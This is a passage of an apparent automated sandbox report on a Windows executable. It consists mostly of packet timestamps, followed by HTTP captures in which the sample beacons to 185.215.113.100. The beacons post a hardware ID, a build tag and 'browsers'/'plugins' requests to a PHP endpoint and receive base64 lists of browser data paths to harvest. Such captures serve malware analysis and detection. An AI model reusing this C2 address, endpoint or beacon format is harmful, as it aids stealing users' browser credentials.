Sep 1, 2024 01:22:12.516674042 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.516674042 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.516678095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516715050 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.516726971 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.516731024 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516741991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516750097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516760111 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516772985 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.516777039 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516788006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516798019 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.516798973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516809940 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516819954 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516824961 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.516829967 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516839981 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516849041 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516849041 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.516860962 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.516876936 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.516895056 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.551472902 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.556349993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792289019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792303085 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792376995 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.792433977 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792488098 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.792506933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792515039 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792525053 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792543888 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.792566061 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.792838097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792849064 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792862892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792893887 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.792915106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792924881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792933941 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.792943001 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792953014 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792957067 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.792960882 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792970896 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792984962 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.792987108 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.792998075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793006897 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793014050 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793016911 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793028116 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793040991 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793071985 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793093920 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793103933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793112993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793138981 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793154001 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793168068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793175936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793194056 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793203115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793212891 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793243885 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793276072 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793344975 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793364048 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793410063 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793525934 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793582916 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793601990 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793611050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793620110 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793629885 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793644905 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793677092 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793679953 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793690920 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793699026 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793730021 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793741941 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793744087 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793754101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793764114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793776035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793790102 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793832064 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793850899 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793864012 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793875933 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793886900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793896914 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793898106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793922901 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793927908 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793937922 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793939114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.793965101 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.793998957 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794008017 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794037104 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794047117 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794048071 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794058084 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794080973 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794105053 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794111967 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794156075 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794212103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794223070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794231892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794260025 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794282913 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794337988 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794346094 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794384956 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794441938 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794487000 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794495106 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794504881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794514894 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794526100 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794540882 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794545889 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794557095 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794564962 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794574022 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794583082 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794589043 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794594049 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794603109 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794606924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794611931 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794621944 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794629097 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794631958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794657946 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794677019 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794754982 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794764996 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794775963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794785976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794804096 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794828892 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794842005 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794891119 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.794949055 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794959068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794969082 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794977903 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794986963 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794996977 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.794996977 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.795006037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:12.795018911 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:12.795042992 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:13.261145115 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:13.261177063 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:13.265935898 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:13.265961885 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:14.255893946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:14.255955935 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:14.337321043 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:14.342187881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:14.580667973 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:14.580684900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:14.580702066 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:14.580739021 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:14.580758095 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:14.582865000 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:14.588085890 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:14.826086998 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:14.826163054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:14.836333990 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:14.841078043 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:15.657340050 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:15.657422066 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:15.692111969 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:15.696923971 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:15.939721107 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:15.939752102 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:15.939819098 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:15.940301895 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:15.940313101 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:15.940323114 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:15.940337896 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:15.940340996 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:15.940371990 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:15.940393925 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:15.944298983 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:15.949120045 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:17.161132097 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:17.161158085 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:17.161236048 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:21.762944937 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:21.768114090 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:22.848253965 CEST	49730	80	192.168.2.4	185.215.113.100

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 1, 2024 01:22:18.084707022 CEST	53	50129	1.1.1.1	192.168.2.4

HTTP Request Dependency Graph

185.215.113.100

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.100	80	3492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:21:59.638828039 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 01:22:00.375639915 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:00 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 01:22:00.377753973 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHJECAAAFHIJKFIJEGC Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 31 35 39 36 42 30 31 34 33 46 33 32 33 35 31 31 34 31 39 39 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 45 43 41 41 41 46 48 49 4a 4b 46 49 4a 45 47 43 2d 2d 0d 0a Data Ascii: ------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="hwid"741596B0143F3235114199------BFHJECAAAFHIJKFIJEGCContent-Disposition: form-data; name="build"leva------BFHJECAAAFHIJKFIJEGC--
Sep 1, 2024 01:22:00.634360075 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:00 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 4e 6b 4e 54 59 35 59 7a 41 79 4e 7a 4e 6d 59 57 5a 6d 4d 54 52 6b 4d 57 49 78 5a 6a 4d 79 5a 57 55 35 4e 44 45 79 59 6a 51 32 5a 47 4e 69 5a 57 49 35 59 7a 52 6a 4e 7a 59 33 4f 47 51 78 4e 57 4d 30 5a 44 56 6d 4d 32 52 6b 4f 57 51 30 4f 54 51 33 4e 6a 41 34 4d 6d 5a 6c 4e 6a 4e 68 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzNkNTY5YzAyNzNmYWZmMTRkMWIxZjMyZWU5NDEyYjQ2ZGNiZWI5YzRjNzY3OGQxNWM0ZDVmM2RkOWQ0OTQ3NjA4MmZlNjNhfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 1, 2024 01:22:00.635512114 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAFIJDGHCBFHJKFCGIE Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 46 49 4a 44 47 48 43 42 46 48 4a 4b 46 43 47 49 45 2d 2d 0d 0a Data Ascii: ------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="token"c3d569c0273faff14d1b1f32ee9412b46dcbeb9c4c7678d15c4d5f3dd9d49476082fe63a------HCAFIJDGHCBFHJKFCGIEContent-Disposition: form-data; name="message"browsers------HCAFIJDGHCBFHJKFCGIE--
Sep 1, 2024 01:22:00.884205103 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 23:22:00 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 1, 2024 01:22:00.884351015 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 1, 2024 01:22:00.885536909 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIJJKKFHIEHJKECGCGC Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 64 35 36 39 63 30 32 37 33 66 61 66 66 31 34 64 31 62 31 66 33 32 65 65 39 34 31 32 62 34 36 64 63 62 65 62 39 63 34 63 37 36 37 38 64 31 35 63 34 64 35 66 33 64 64 39 64 34 39 34 37 36 30 38 32 66 65 36 33 61 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 45 43 47 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 4a 4a 4b 4b 